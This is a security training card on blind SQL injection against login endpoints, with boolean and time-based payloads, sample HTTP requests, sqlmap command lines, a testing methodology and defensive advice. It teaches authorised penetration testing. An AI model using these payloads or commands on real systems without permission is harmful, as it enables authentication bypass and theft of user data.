Blind SQLi login

crypto_symmetric_kdf Difficulty 1–5 30 min certifiable

Theory

Why This Matters

The 2017 Equifax breach — exposing the personal data of 147 million individuals — was rooted in a web application vulnerability that communicated no direct database error to the attacker. Blind injection vulnerabilities are significantly more prevalent than their error-based counterparts precisely because many production deployments suppress detailed error output. OWASP A03:2021 (Injection) explicitly encompasses blind variants, and automated tooling has made blind SQL injection exploitation nearly as fast as error-based. For authentication endpoints in particular, the absence of visible output does not protect the system: an attacker needs only a binary signal — login succeeded or it did not — to extract information and bypass access controls.

Core Concept

Blind SQL injection is a class of SQL injection where the application does not return query results or database error messages to the HTTP response. Instead, the attacker infers database state from indirect signals. In the boolean-based variant, the attacker crafts two payloads: one that makes the injected condition TRUE and one that makes it FALSE. By comparing the application's responses — which differ measurably even if the difference is only in response body length or the presence of a particular HTML element — the attacker confirms injection and builds an oracle for extracting data one bit at a time.

The attacker's precondition is an injectable parameter whose value influences SQL query logic and where the application produces a distinguishably different response for queries that return rows versus queries that return no rows. Unlike in error-based injection, the attacker does not require database errors to reach the HTTP response; the mere difference between "login failed" and "login succeeded" (or between response lengths of 1 240 bytes and 982 bytes) is sufficient to drive the oracle.

Time-based blind injection is the fallback technique when boolean differences are not observable — for example, if the application returns the same response body regardless of whether credentials are valid. The attacker uses database-specific delay functions: SLEEP(5) in MySQL, WAITFOR DELAY '0:0:5' in MSSQL, pg_sleep(5) in PostgreSQL. A response that arrives five seconds late confirms code execution inside the query. Time-based injection is inherently slower and noisier; boolean-based is always preferred when a response difference can be reliably identified.

A critical secondary consideration is username enumeration as a side-channel. An application that responds differently to "unknown username" versus "known username with wrong password" leaks valid account names even without full injection. This information asymmetry assists both injection payload construction and subsequent credential attacks.

Technical Deep-Dive

POST /login HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded

username=admin%27+AND+1%3D1+--+&password=x

Boolean TRUE payload (username = admin' AND 1=1 --):

SELECT * FROM users WHERE username = 'admin' AND 1=1 -- ' AND password = 'x'
-- 1=1 is always true; if 'admin' exists, this returns a row → login page behaviour A

Boolean FALSE payload (admin' AND 1=2 --):

SELECT * FROM users WHERE username = 'admin' AND 1=2 -- ' AND password = 'x'
-- 1=2 is always false; returns no rows → login page behaviour B

If behaviour A ≠ behaviour B, blind injection is confirmed. Automating with sqlmap:

sqlmap -r login_request.txt 
       --technique=B 
       --dbms=mysql 
       --level=2 
       --risk=1 
       --string="Welcome"        # string present only on successful login
       --not-string="Invalid"    # or use --not-string for the failure case
       --batch 
       -p username               # restrict to the username parameter

Time-based fallback when no boolean difference is detectable:

sqlmap -r login_request.txt 
       --technique=T 
       --dbms=mysql 
       --time-sec=5 
       --batch

Manual time-based probe:

POST /login HTTP/1.1
username=admin%27+AND+SLEEP(5)--+&password=x

Security Assessment Methodology

Establish precise baselines — Send three requests: valid credentials, invalid credentials for a known-nonexistent username, invalid credentials for a known-valid username (if enumerable). Record response body length and time for each. Even a 3-byte difference in body length is sufficient for a boolean oracle.
Probe for error suppression — Submit ' as the username. If no SQL error appears but the response differs from the normal failure baseline (different length, missing element, unusual timing), the application is likely vulnerable to blind injection with error suppression.
Construct and test boolean pair — Send admin' AND 1=1 -- and admin' AND 1=2 --. If the first behaves like a successful auth attempt and the second like a failure, boolean-based injection is confirmed.
Use sqlmap with --technique=B — Automate extraction of database version, table names, and user table contents. Provide the distinguishing --string or --not-string flag to make the oracle reliable. Avoid --dump-all without explicit scope agreement.
Fall back to time-based if needed — If boolean responses are indistinguishable, switch to --technique=T with --time-sec=5. Run in a quiet environment to minimise network jitter affecting timing measurements.
Document the side-channel enumeration risk — Even if full injection is not exploitable, report username enumeration as a separate finding. Quantify the response difference that enables it.

Defensive Countermeasure — In addition to mandatory parameterised queries, ensure the application returns identical response bodies, status codes, and timing for all authentication failure cases regardless of whether the username exists, removing the oracle that blind injection depends upon.

Common Assessment Errors

Declaring "not injectable" after only error-based testing — Many testers try only payloads that produce SQL errors. Blind injection requires behavioural comparison, not visible error output. Always test the boolean pair even when no errors appear.
Ignoring response-length differences — A tester who looks only at HTTP status codes will miss boolean oracles that operate through body-length variation. Always compare full response lengths in Burp Comparer.
Using --technique=T before --technique=B — Time-based testing against a production system introduces latency and may trigger anomaly detection. Always try boolean-based first.
Forgetting to set --string or --not-string for sqlmap — Without a reliable distinguishing token, sqlmap may misidentify the oracle and produce unreliable results or false negatives.
Overlooking the username enumeration sub-finding — Blind injection and username enumeration are separable vulnerabilities. An application may be protected against full injection but still leak valid usernames through timing or response differences.
Not accounting for CSRF tokens — Login forms often contain CSRF tokens that change per request. sqlmap must be given the token parameter name via --csrf-token and --csrf-url or it will send stale tokens and get blocked.

NICE Framework Alignment

Code	Knowledge/Skill/Task Statement	How This Card Develops It
K0007	Knowledge of authentication, authorisation, and access control methods	Explains how blind injection subverts credential verification through query logic manipulation without visible feedback
K0065	Knowledge of policy-based and role-based access controls	Demonstrates how authenticated-user role assignments become irrelevant when the authentication gate itself is bypassable
S0001	Skill in conducting vulnerability scans and recognising vulnerabilities in security systems	Trains precise baseline comparison technique and sqlmap boolean/time-based technique flags
T0028	Conduct and/or support authorised penetration testing on enterprise network assets	Provides a complete methodology from baseline establishment through automated exploitation and documentation